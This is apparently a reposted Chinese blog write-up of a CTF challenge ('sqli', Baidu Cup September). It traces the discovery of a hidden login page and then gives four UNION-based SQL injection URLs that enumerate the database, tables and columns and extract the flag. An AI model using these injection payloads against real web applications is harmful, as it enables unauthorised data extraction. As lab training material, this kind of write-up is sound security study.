博客
关于我
从零开始学安全(三十四)●百度杯 ctf比赛 九月场 sqli
阅读量:424 次
发布时间:2019-03-06

本文共 1414 字,大约阅读时间需要 4 分钟。

通过对Web应用的安全测试,我发现了两个可疑的登录界面,分别是l0gin.phplogin.php。初步分析认为,l0gin.php更有可能是攻击者所使用的入口点。

在使用BP工具抓包的过程中,我发现index.php返回了302重定向状态码。进一步分析HTTP头文件,发现重定向的目标页面是l0gin.php,这表明攻击者可能正在通过中间页面进行注入。

为了进一步分析,我手动构造了SQL注入的语句。首先,我尝试判断字段类型,发现id字段的值返回的是数字型,而username字段则返回的是字符型。随后,我使用UNION SELECT技巧,尝试连接多个数据源,验证是否能够回显数据。

在第二个测试中,由于数据被截断,直接使用UNION SELECT无法获取完整的信息。经过多次尝试,我发现可以通过合理构造SELECT语句,直接获取数据库的信息。

通过进一步的分析,我成功获取到了数据库的名字、表的名字以及表中字段的信息。最终,我发现users表中存储了idusername以及一系列与安全相关的字段信息。

在实际测试中,我构造了以下SQL语句:

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select database()) a join (select null) b%23

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23

http://0b13d33141d8423190cc7e6ffa99f606004adef93cd4475a.changame.ichunqiu.com/l0gin.php?id=0' union select * from (select flag_9c861b688330 from users) a join (select null) b%23

通过这些语句,我最终成功获取到了目标数据库中的flag值:

id username

flag{7176716c-1d16-474c-8660-33faaf8bc43e} null

这个过程展示了如何通过精细的SQL注入技巧,逐步提取Web应用的敏感信息。

转载地址:http://qujuz.baihongyu.com/

你可能感兴趣的文章
nginx 后端获取真实ip
查看>>
Nginx 学习总结(17)—— 8 个免费开源 Nginx 管理系统,轻松管理 Nginx 站点配置
查看>>
Nginx 我们必须知道的那些事
查看>>
oauth2-shiro 添加 redis 实现版本
查看>>
OAuth2.0_授权服务配置_Spring Security OAuth2.0认证授权---springcloud工作笔记140
查看>>
Objective-C实现A-Star算法(附完整源码)
查看>>
Objective-C实现atoi函数功能(附完整源码)
查看>>
Objective-C实现base64加密和base64解密算法(附完整源码)
查看>>
Objective-C实现base85 编码算法(附完整源码)
查看>>
Objective-C实现basic graphs基本图算法(附完整源码)
查看>>
Objective-C实现BCC校验计算(附完整源码)
查看>>
Objective-C实现bead sort珠排序算法(附完整源码)
查看>>
Objective-C实现BeadSort珠排序算法(附完整源码)
查看>>
Objective-C实现bellman ford贝尔曼福特算法(附完整源码)
查看>>
Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
查看>>
Objective-C实现bellman-ford贝尔曼-福特算法(附完整源码)
查看>>
Objective-C实现BellmanFord贝尔曼-福特算法(附完整源码)
查看>>
Objective-C实现BF算法 (附完整源码)
查看>>
Objective-C实现binary exponentiation二进制幂运算算法(附完整源码)
查看>>
Objective-C实现binomial coefficient二项式系数算法(附完整源码)
查看>>